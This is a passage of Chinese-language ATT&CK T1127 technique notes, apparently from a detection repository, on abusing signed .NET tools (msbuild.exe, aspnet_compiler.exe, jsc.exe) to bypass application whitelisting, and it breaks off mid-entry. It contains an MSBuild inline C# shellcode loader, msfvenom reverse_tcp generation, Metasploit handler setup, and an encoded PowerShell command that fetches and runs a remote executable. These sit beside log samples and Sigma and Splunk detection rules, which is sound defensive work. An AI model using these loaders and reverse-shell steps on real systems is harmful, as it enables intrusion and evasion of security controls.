    "content": "# T1127-受信任的开发者实用程序代理执行-Msbuild.exe(白名单)\n\n## 描述\n\n攻击者可利用受信任的开发者工具（如`msbuild.exe`）代理执行恶意Payload。`msbuild.exe`是MicrosoftBuildEngine，位于.NETFramework目录，由Microsoft签名，用于构建VisualStudio项目。它支持XML格式的项目文件，允许通过内联任务（InlineTask）嵌入和执行C#代码。\n\n由于其合法签名，`msbuild.exe`可绕过应用程序白名单（如AppLocker）或防病毒软件检测。攻击者通过构造包含恶意C#代码的XML项目文件，利用`msbuild.exe`编译并执行代码，常用于防御规避、持久化或横向移动阶段。\n\n## 测试案例\n\n### 测试案例1：Msbuild.exe执行内联C#代码\n`msbuild.exe`通过XML项目文件中的内联任务执行C#代码，加载恶意Shellcode。\n\n**命令**：\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe malicious.xml\n```\n\n- **示例XML文件（malicious.xml）**：\n  ```xml\n  <Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n    <Target Name=\"ExecutePayload\">\n      <ClassExample />\n    </Target>\n    <UsingTask TaskName=\"ClassExample\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n      <Task>\n        <Code Type=\"Class\" Language=\"cs\">\n        <![CDATA[\n        using System;\n        using System.Runtime.InteropServices;\n        using Microsoft.Build.Framework;\n        using Microsoft.Build.Utilities;\n        public class ClassExample : Task, ITask\n        {\n          private static UInt32 MEM_COMMIT = 0x1000;\n          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n          [DllImport(\"kernel32\")]\n          private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);\n          [DllImport(\"kernel32\")]\n          private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);\n          [DllImport(\"kernel32\")]\n          private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);\n          public override bool Execute()\n          {\n            byte[] shellcode = new byte[] { /* 替换为msfvenom生成的Shellcode */ };\n            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);\n            IntPtr hThread = IntPtr.Zero;\n            UInt32 threadId = 0;\n            hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId);\n            WaitForSingleObject(hThread, 0xFFFFFFFF);\n            return true;\n          }\n        }\n        ]]>\n        </Code>\n      </Task>\n    </UsingTask>\n  </Project>\n  ```\n\n- **说明**：\n  - XML文件定义内联任务，嵌入C#代码，通过`VirtualAlloc`和`CreateThread`执行Shellcode。\n  - Shellcode可替换为反弹Shell或其他恶意代码。\n- **权限**：普通用户可执行。\n- **支持系统**：Windows7、Windows8、Windows8.1、Windows10、WindowsServer2012（需安装.NETFramework4.0）。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`msbuild.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID11：文件创建，记录XML文件或生成的文件。\n  - 事件ID10：进程访问，记录子进程调用。\n- 文件监控：\n  - 检测非开发目录下的XML文件或生成的可执行文件。\n- 网络监控：\n  - 检测`msbuild.exe`触发的网络连接（如反弹Shell）。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：WindowsServer2012（需安装.NETFramework4.0）\n- 工具：\n  - MetasploitFramework（生成Payload和监听）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：Msbuild.exe执行恶意Shellcode\n1. **生成Shellcode**：\n   ```bash\n   msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f csharp\n   ```\n  - 输出C#格式Shellcode，复制到`malicious.xml`的`byte[] shellcode`中。\n  \n    ![载荷](https://img-blog.csdnimg.cn/20200413135116398.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70)\n\n2. **创建XML文件**：\n   在靶机创建`malicious.xml`，将Shellcode替换到上述示例XML的`shellcode`数组中。\n   ![XML文件设置](https://img-blog.csdnimg.cn/20200413135530841.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70)\n\n3. **配置攻击机监听**：\n   ```bash\n   msf5>use exploit/multi/handler\n   msf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler)>set LHOST 192.168.126.146\n   msf5 exploit(multi/handler)>set LPORT 4444\n   msf5 exploit(multi/handler)>exploit\n   ```\n   ![监听](https://img-blog.csdnimg.cn/20200413140326808.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70)\n\n4. **靶机执行Payload**：\n   将`malicious.xml`复制到靶机（如`C:\\Users\\admin\\`），执行：\n   ```cmd\n   C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe C:\\Users\\admin\\malicious.xml\n   ```\n   ![加载payload](https://img-blog.csdnimg.cn/20200413140707313.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70)\n\n5. **结果分析**：\n   - 成功：`msbuild.exe`编译并执行Shellcode，获得Meterpreter会话，`getuid`显示用户为`WIN-SERVER\\admin`。\n   - 失败可能：\n     - .NETFramework4.0未安装。\n     - 防火墙阻止TCP4444连接。\n     - Shellcode架构不匹配（需生成x86或x64版本以适配靶机）。\n     - XML文件格式错误（如缺少CDATA或语法错误）。\n\n   ![反弹会话](https://img-blog.csdnimg.cn/20200413140810400.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70)\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  进程信息:\n    新进程ID:0x1234\n    新进程名称:C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe\n    命令行:C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe C:\\Users\\admin\\malicious.xml\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n  ![日志留痕](https://img-blog.csdnimg.cn/20200413140937397.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70)\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:msbuild.exe\n  CommandLine:C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe C:\\Users\\admin\\malicious.xml\n  CurrentDirectory:C:\\Users\\admin\\\n  User:WIN-SERVER\\admin\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID11：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe\n  TargetFilename:C:\\Users\\admin\\malicious.xml\n  ```\n- 事件ID3：\n  ```\n  事件ID:3\n  Image:C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe\n  Initiated:true\n  SourceIp:192.168.126.149\n  SourcePort:49163\n  DestinationIp:192.168.126.146\n  DestinationPort:4444\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`msbuild.exe`的执行，特别是在非开发环境中的调用。\n   - 检查命令行是否包含`.xml`文件。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     msbuild\\.exe.*\\.xml\n     ```\n3. 文件监控：\n   - 检测非开发目录下的XML文件，尤其是包含`CodeTaskFactory`或`InlineTask`的XML。\n4. 网络监控：\n   - 检测`msbuild.exe`触发的异常网络连接（如TCP4444）。\n5. 行为分析：\n   - 检测`msbuild.exe`执行后触发的子进程或内存分配行为。\n\n### Sigma规则\n新增Sigma规则以增强检测：\n```yaml\ntitle:可疑Msbuild.exe执行XML文件\nid:9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d\ndescription:检测msbuild.exe执行XML文件，可能用于代理执行恶意代码\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection:\n    Image|endswith:'\\msbuild.exe'\n    CommandLine|contains:'.xml'\n  filter_legitimate:\n    CurrentDirectory|contains:\n      - 'C:\\Program Files\\'\n      - 'C:\\Program Files (x86)\\'\n  condition:selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的开发活动\nlevel:high\ntags:\n  - attack.execution\n  - attack.t1127\n```\n\n规则说明：\n- 目标：检测`msbuild.exe`执行XML文件的异常行为。\n- 过滤：排除开发目录（如`ProgramFiles`）中的合法操作。\n- 日志来源：Windows事件ID4688（需启用命令行审计）或Sysmon事件ID1。\n- 误报处理：开发环境可能触发，需结合目录和网络行为分析。\n- 级别：标记为“高”优先级，因`msbuild.exe`滥用通常与恶意活动相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\msbuild.exe\" CommandLine=\"*.xml*\")\nOR (EventCode=11 FileName=\"*.xml\" TargetFilename=\"*\\msbuild.exe\")\nOR (EventCode=3 Initiated=\"true\" SourceImage=\"*\\msbuild.exe\" DestinationPort=\"4444\")\n| fields Image,CommandLine,ParentImage,User,TargetFilename,DestinationIp,DestinationPort\n```\n\n规则说明：\n- 检测`msbuild.exe`执行XML文件、访问的XML文件和触发的网络连接。\n- 减少误报：结合文件路径和网络行为分析。\n\n### 检测挑战\n- 误报：合法开发活动可能触发，需建立开发环境基线。\n- 日志依赖：默认日志可能不记录完整命令行，需部署Sysmon或增强日志策略。\n- 绕过360：部分测试表明`msbuild.exe`可能绕过360安全卫士，但需进一步验证。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审计策略，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对`msbuild.exe`的规则，监控文件创建和网络活动。\n2. 权限控制：\n   - 限制非开发用户执行`msbuild.exe`的权限。\n3. 文件审查：\n   - 定期扫描非开发目录下的XML文件，检查是否包含`CodeTaskFactory`或`InlineTask`。\n4. 行为基线：\n   - 建立开发环境的`msbuild.exe`使用基线，检测异常行为。\n5. 安全更新：\n   - 保持Windows和.NETFramework更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1127:  \n  <https://attack.mitre.org/techniques/T1127/>\n- 利用msbuild.exe绕过应用程序白名单安全机制:  \n  <https://www.freebuf.com/articles/network/197706.html>\n- GreatSCT|MSF|白名单:  \n  <http://www.secist.com/archives/6082.html>\n- 基于白名单Msbuild.exe执行Payload复现:  \n  <https://blog.csdn.net/ws13129/article/details/89736941>\n- 检测白名单Msbuild.exe执行Payload:  \n  <https://blog.csdn.net/qq_36334464/article/details/105487176>\n- 基于白名单执行Payload:  \n  <https://www.jianshu.com/p/cdb1867c6abb>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- MetasploitFramework:用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon:Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n"
  },
  {
    "path": "Windows/07逃避防御/T1127-win-受信任的开发者实用程序代理执行-Aspnet_compiler.exe(白名单).md",
    "content": "# T1127-受信任的开发者实用程序代理执行-Aspnet_compiler.exe(白名单)\n\n## 描述\n\n攻击者可利用受信任的开发者工具（如`aspnet_compiler.exe`）代理执行恶意Payload。`aspnet_compiler.exe`是ASP.NET编译工具，位于.NETFramework目录，由Microsoft签名，用于预编译ASP.NET应用程序。它可以通过特定的文件夹结构和BuildProvider执行C#代码，生成可执行文件或Web应用程序。\n\n由于其合法签名，`aspnet_compiler.exe`可绕过应用程序白名单（如AppLocker）或防病毒软件检测。攻击者滥用该工具编译恶意C#代码，执行如远程访问工具或反弹Shell等行为，常用于防御规避、持久化或横向移动阶段。\n\n## 测试案例\n\n### 测试案例1：Aspnet_compiler.exe编译C#代码\n`aspnet_compiler.exe`通过指定文件夹结构和BuildProvider执行C#代码。\n\n**命令**：\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe -v none -p C:\\Users\\liyang\\Desktop\\asptest\\ -f C:\\Users\\liyang\\Desktop\\asptest\\none -u\n```\n\n- **文件夹结构（C:\\Users\\liyang\\Desktop\\asptest\\）**：\n  ```\n  asptest/\n  ├── App_Code/\n  │   └── MaliciousCode.cs\n  ├── malicious.aspx\n  └── web.config\n  ```\n\n- **示例文件**：\n  - `MaliciousCode.cs`：\n    ```csharp\n    using System;\n    public class Malicious\n    {\n        public static void Execute()\n        {\n            System.Diagnostics.Process.Start(\"calc.exe\");\n        }\n    }\n    ```\n  - `malicious.aspx`：\n    ```html\n    <%@ Page Language=\"C#\" %>\n    <% Malicious.Execute(); %>\n    ```\n  - `web.config`：\n    ```xml\n    <configuration>\n      <system.web>\n        <compilation debug=\"true\" targetFramework=\"4.0\" />\n      </system.web>\n    </configuration>\n    ```\n\n- **说明**：\n  - `-v none`：指定虚拟路径为`none`。\n  - `-p`：指定源文件夹（包含ASP.NET应用程序结构）。\n  - `-f`：指定输出目录（编译结果）。\n  - `-u`：生成可更新的编译输出。\n  - 编译后，生成的代码可通过Web服务器（如IIS）或直接执行触发`calc.exe`。\n- **权限**：普通用户可执行。\n- **支持系统**：Windows7、Windows8、Windows8.1、Windows10（需安装.NETFramework4.0）。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`aspnet_compiler.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID11：文件创建，记录编译生成的文件（如`.dll`）。\n  - 事件ID10：进程访问，记录子进程调用。\n- 文件监控：\n  - 检测非开发环境下的ASP.NET文件（如`.aspx`、`.cs`）或编译输出（如`.dll`）。\n- 行为监控：\n  - 检测`aspnet_compiler.exe`触发的子进程（如`calc.exe`）。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：Windows10（需安装.NETFramework4.0）\n- 工具：\n  - MetasploitFramework（生成Payload和监听）\n  - Sysmon（可选，日志收集）\n  - IIS（可选，测试Web应用程序执行）\n\n### 攻击分析\n\n#### 测试1：Aspnet_compiler.exe编译恶意C#代码\n1. **创建ASP.NET应用程序结构**：\n   在靶机`C:\\Users\\liyang\\Desktop\\asptest\\`创建以下文件：\n   - `App_Code/MaliciousCode.cs`：\n     ```csharp\n     using System;\n     public class Malicious\n     {\n         public static void Execute()\n         {\n             System.Diagnostics.Process.Start(\"powershell.exe\", \"-NoProfile -EncodedCommand JABjAG0AZAAgAD0AIAAiAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAIgA7ACQAdwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABjAG0AZAA7ACQAdwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwADoALwAvADEAOQAxAC4xADYAOgA4ADAALwBtAGEAbABpAGcAbgBhAG4AdAAuAGUAeABlACIALAAiAEMAOgBcAFQAZQBtAHAAXABtAGEAbABpAGcAbgBhAG4AdAAuAGUAeABlACIAKQAKAA==\");\n         }\n     }\n     ```\n     - 解码后的PowerShell命令下载并执行`malicious.exe`。\n   - `malicious.aspx`：\n     ```html\n     <%@ Page Language=\"C#\" %>\n     <% Malicious.Execute(); %>\n     ```\n   - `web.config`：\n     ```xml\n     <configuration>\n       <system.web>\n         <compilation debug=\"true\" targetFramework=\"4.0\" />\n       </system.web>\n     </configuration>\n     ```\n\n2. **编译代码**：\n   ```cmd\n   C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe -v none -p C:\\Users\\liyang\\Desktop\\asptest\\ -f C:\\Users\\liyang\\Desktop\\asptest\\none -u\n   ```\n\n3. **生成Payload**：\n   在攻击机上生成`malicious.exe`：\n   ```bash\n   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=12345 -f exe -o malicious.exe\n   ```\n\n4. **托管Payload**：\n   启动HTTP服务器：\n   ```bash\n   cp malicious.exe /var/www/html/\n   sudo python3 -m http.server 80\n   ```\n\n5. **配置攻击机监听**：\n   ```bash\n   msf5>use exploit/multi/handler\n   msf5 exploit(multi/handler)>set payload windows/x64/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler)>set LHOST 192.168.126.146\n   msf5 exploit(multi/handler)>set LPORT 12345\n   msf5 exploit(multi/handler)>exploit\n   ```\n\n6. **执行编译结果**：\n   - 若使用IIS，部署编译输出到Web应用程序并访问`malicious.aspx`。\n   - 直接执行编译后的DLL（如`none\\bin\\App_Code.dll`）：\n     ```cmd\n     rundll32.exe C:\\Users\\liyang\\Desktop\\asptest\\none\\bin\\App_Code.dll,Malicious.Execute\n     ```\n\n7. **结果分析**：\n   - 成功：编译生成DLL，执行后触发PowerShell下载并运行Payload，获得Meterpreter会话。\n   - 失败可能：\n     - .NETFramework未安装（需安装4.0）。\n     - 防火墙阻止HTTP请求或TCP12345连接。\n     - PowerShell执行策略限制（需设置为`Bypass`：`Set-ExecutionPolicy Bypass`）。\n     - 文件夹结构错误（如缺少`App_Code`目录）。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  - 记录`aspnet_compiler.exe`的进程创建：\n    ```\n    进程信息:\n      新进程名称:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe\n      命令行:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe -v none -p C:\\Users\\liyang\\Desktop\\asptest\\ -f C:\\Users\\liyang\\Desktop\\asptest\\none -u\n      创建者进程名称:C:\\Windows\\System32\\cmd.exe\n    ```\n  - 记录子进程（如`powershell.exe`）：\n    ```\n    进程信息:\n      新进程名称:C:\\Windows\\System32\\powershell.exe\n      命令行:powershell.exe -NoProfile -EncodedCommand JABjAG0AZAAgAD0AIAAiAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAIgA7...\n      创建者进程名称:C:\\Windows\\System32\\rundll32.exe\n    ```\n\n### Sysmon日志\n- 事件ID1：\n  - 记录`aspnet_compiler.exe`执行：\n    ```\n    事件ID:1\n    OriginalFileName:aspnet_compiler.exe\n    CommandLine:C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe -v none -p C:\\Users\\liyang\\Desktop\\asptest\\ -f C:\\Users\\liyang\\Desktop\\asptest\\none -u\n    CurrentDirectory:C:\\Users\\liyang\\\n    User:DESKTOP-PT656L6\\liyang\n    Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n    ParentImage:C:\\Windows\\System32\\cmd.exe\n    ```\n  - 记录子进程执行：\n    ```\n    事件ID:1\n    OriginalFileName:powershell.exe\n    CommandLine:powershell.exe -NoProfile -EncodedCommand JABjAG0AZAAgAD0AIAAiAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAIgA7...\n    CurrentDirectory:C:\\Users\\liyang\\\n    User:DESKTOP-PT656L6\\liyang\n    Hashes:SHA1=2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C\n    ParentImage:C:\\Windows\\System32\\rundll32.exe\n    ```\n- 事件ID11：记录生成文件（如`none\\bin\\App_Code.dll`）。\n- 事件ID3：记录网络连接（如PowerShell下载Payload）。\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`aspnet_compiler.exe`的执行，特别是在非开发环境中的调用。\n   - 检查命令行是否包含`-v`、`-p`或`-f`参数。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     aspnet_compiler\\.exe.*(-v|-p|-f)\n     ```\n3. 文件监控：\n   - 检测非开发目录下的ASP.NET文件（如`.aspx`、`.cs`）或编译输出（如`.dll`）。\n4. 行为分析：\n   - 检测`aspnet_compiler.exe`编译后生成的DLL被`rundll32.exe`或Web服务器加载。\n   - 检测编译触发的子进程（如`powershell.exe`）。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle:可疑Aspnet_compiler.exe执行\nid:a01b8329-5953-4f73-ae2d-aa01e1f35f00\ndescription:检测aspnet_compiler.exe编译C#代码，可能用于代理执行恶意Payload\nstatus:experimental\nauthor:frack113\ndate:2021/11/24\nreferences:\n  - https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/\ntags:\n  - attack.defense_evasion\n  - attack.t1127\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection:\n    Image|contains:'\\Microsoft.NET\\Framework'\n    Image|endswith:'\\aspnet_compiler.exe'\n    CommandLine|contains:\n      - '-v'\n      - '-p'\n      - '-f'\n  filter_legitimate:\n    CurrentDirectory|contains:\n      - 'C:\\Program Files\\'\n      - 'C:\\Program Files (x86)\\'\n  condition:selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的ASP.NET开发活动\nlevel:high\n```\n\n规则说明：\n- 目标：检测`aspnet_compiler.exe`的编译行为。\n- 过滤：排除开发目录（如`ProgramFiles`）中的合法操作。\n- 日志来源：Windows事件ID4688（需启用命令行审计）或Sysmon事件ID1。\n- 误报处理：开发环境可能触发，需结合目录和子进程分析。\n- 级别：升级为“高”优先级，因`aspnet_compiler.exe`滥用通常与恶意活动相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\aspnet_compiler.exe\" CommandLine IN (\"*-v*\",\"*-p*\",\"*-f*\"))\nOR (EventCode=11 FileName=\"*.dll\" TargetFilename=\"*\\aspnet_compiler.exe\")\nOR (EventCode=10 SourceImage=\"*\\rundll32.exe\" TargetImage=\"*.dll\")\n| fields Image,CommandLine,ParentImage,User,TargetFilename\n```\n\n规则说明：\n- 检测`aspnet_compiler.exe`的编译行为、生成的文件和`rundll32.exe`加载DLL的行为。\n- 减少误报：结合文件路径和后续执行行为分析。\n\n### 检测挑战\n- 误报：合法ASP.NET开发活动可能触发，需建立开发环境基线。\n- 日志依赖：默认日志可能不记录完整命令行，需部署Sysmon或增强日志策略。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审计策略，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对`aspnet_compiler.exe`的规则，监控文件创建和子进程。\n2. 权限控制：\n   - 限制非开发用户执行`aspnet_compiler.exe`的权限。\n3. 文件审查：\n   - 定期扫描非开发目录下的`.aspx`、`.cs`和`.dll`文件，检查文件哈希。\n4. 行为基线：\n   - 建立开发环境的`aspnet_compiler.exe`使用基线，检测异常行为。\n5. 安全更新：\n   - 保持Windows和.NETFramework更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1127:  \n  <https://attack.mitre.org/techniques/T1127/>\n- Aspnet_Compiler.exe:LOLBAS:  \n  <https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/>\n- ASP.NET编译工具(Aspnet_compiler.exe):  \n  <https://www.cnblogs.com/nmcfshang/articles/451265.html>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- MetasploitFramework:用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon:Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n"
  },
  {
    "path": "Windows/07逃避防御/T1127-win-受信任的开发者实用程序代理执行-Jsc.exe(白名单).md",
    "content": "# T1127-受信任的开发者实用程序代理执行-Jsc.exe(白名单)\n\n## 描述\n\n攻击者可利用受信任的开发者工具（如`jsc.exe`）代理执行恶意Payload。`jsc.exe`是MicrosoftJScript.NET编译器，位于.NET Framework目录，由Microsoft签名，用于将JavaScript代码编译为可执行文件（`.exe`）或动态链接库（`.dll`）。其合法签名使其可绕过应用程序白名单（如AppLocker）或防病毒检测。\n\n攻击者滥用`jsc.exe`编译恶意JavaScript代码，生成可执行文件或库文件，执行恶意行为，如加载远程访问工具或反弹Shell。此技术常用于防御规避、持久化或横向移动。\n\n## 测试案例\n\n### 测试案例1：Jsc.exe编译JavaScript为可执行文件\n`jsc.exe`编译JavaScript文件生成`.exe`文件。\n\n**命令**：\n```cmd\njsc.exe scriptfile.js\n```\n\n- **示例JavaScript（scriptfile.js）**：\n  ```javascript\n  import System;\n  Console.WriteLine(\"Hello from JScript!\");\n  new ActiveXObject(\"WScript.Shell\").Run(\"calc.exe\");\n  ```\n\n- **说明**：\n  - 编译`scriptfile.js`生成`scriptfile.exe`，执行时触发`calc.exe`。\n  - 用途：编译攻击者代码，绕过防御。\n- **权限**：普通用户可执行。\n- **支持系统**：WindowsVista、Windows7、Windows8、Windows8.1、Windows10。\n\n### 测试案例2：Jsc.exe编译JavaScript为动态链接库\n`jsc.exe`编译JavaScript文件生成`.dll`文件。\n\n**命令**：\n```cmd\njsc.exe /t:library Library.js\n```\n\n- **示例JavaScript（Library.js）**：\n  ```javascript\n  import System;\n  class Malicious {\n    static function Execute() {\n      new ActiveXObject(\"WScript.Shell\").Run(\"notepad.exe\");\n    }\n  }\n  ```\n\n- **说明**：\n  - 使用`/t:library`生成`Library.dll`，可通过其他程序加载执行。\n  - 用途：生成恶意库文件，规避检测。\n- **权限**：普通用户可执行。\n- **支持系统**：WindowsVista、Windows7、Windows8、Windows8.1、Windows10。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`jsc.exe`及其生成文件的执行信息。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID11：文件创建，记录生成的`.exe`或`.dll`文件。\n  - 事件ID10：进程访问，记录子进程调用。\n- 文件监控：\n  - 检测非开发环境下的`.exe`或`.dll`文件生成。\n- 行为监控：\n  - 检测`jsc.exe`触发的子进程（如`calc.exe`或`notepad.exe`）。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：Windows7或Windows10（需安装.NETFramework4.0或2.0）\n- 工具：\n  - MetasploitFramework（生成Payload和监听）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：Jsc.exe编译恶意JavaScript为可执行文件\n1. **创建恶意JavaScript**：\n   创建`malicious.js`：\n   ```javascript\n   import System;\n   new ActiveXObject(\"WScript.Shell\").Run(\"powershell.exe -NoProfile -EncodedCommand JABjAG0AZAAgAD0AIAAiAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAIgA7ACQAdwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABjAG0AZAA7ACQAdwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwADoALwAvADEAOQAxAC4xADYAOgA4ADAALwBtAGEAbABpAGcAbgBhAG4AdAAuAGUAeABlACIALAAiAEMAOgBcAFQAZQBtAHAAXABtAGEAbABpAGcAbgBhAG4AdAAuAGUAeABlACIAKQAKAA==\");\n   ```\n   - 解码后的PowerShell命令下载并执行`malicious.exe`。\n\n2. **编译JavaScript**：\n   在靶机上：\n   ```cmd\n   C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\jsc.exe malicious.js\n   ```\n\n3. **生成Payload**：\n   在攻击机上生成`malicious.exe`：\n   ```bash\n   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=12345 -f exe -o malicious.exe\n   ```\n\n4. **托管Payload**：\n   启动HTTP服务器：\n   ```bash\n   cp malicious.exe /var/www/html/\n   sudo python3 -m http.server 80\n   ```\n\n5. **配置攻击机监听**：\n   ```bash\n   msf5>use exploit/multi/handler\n   msf5 exploit(multi/handler)>set payload windows/x64/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler)>set LHOST 192.168.126.146\n   msf5 exploit(multi/handler)>set LPORT 12345\n   msf5 exploit(multi/handler)>exploit\n   ```\n\n6. **靶机执行**：\n   ```cmd\n   malicious.exe\n   ```\n\n7. **结果分析**：\n   - 成功：编译生成`malicious.exe`，执行后触发PowerShell下载并运行Payload，获得Meterpreter会话。\n   - 失败可能：\n     - .NETFramework未安装（需安装4.0或2.0）。\n     - 防火墙阻止HTTP请求或TCP12345连接。\n     - PowerShell执行策略限制（需设置为`Bypass`：`Set-ExecutionPolicy Bypass`）。\n\n#### 测试2：Jsc.exe编译JavaScript为动态链接库\n1. **创建恶意JavaScript**：\n   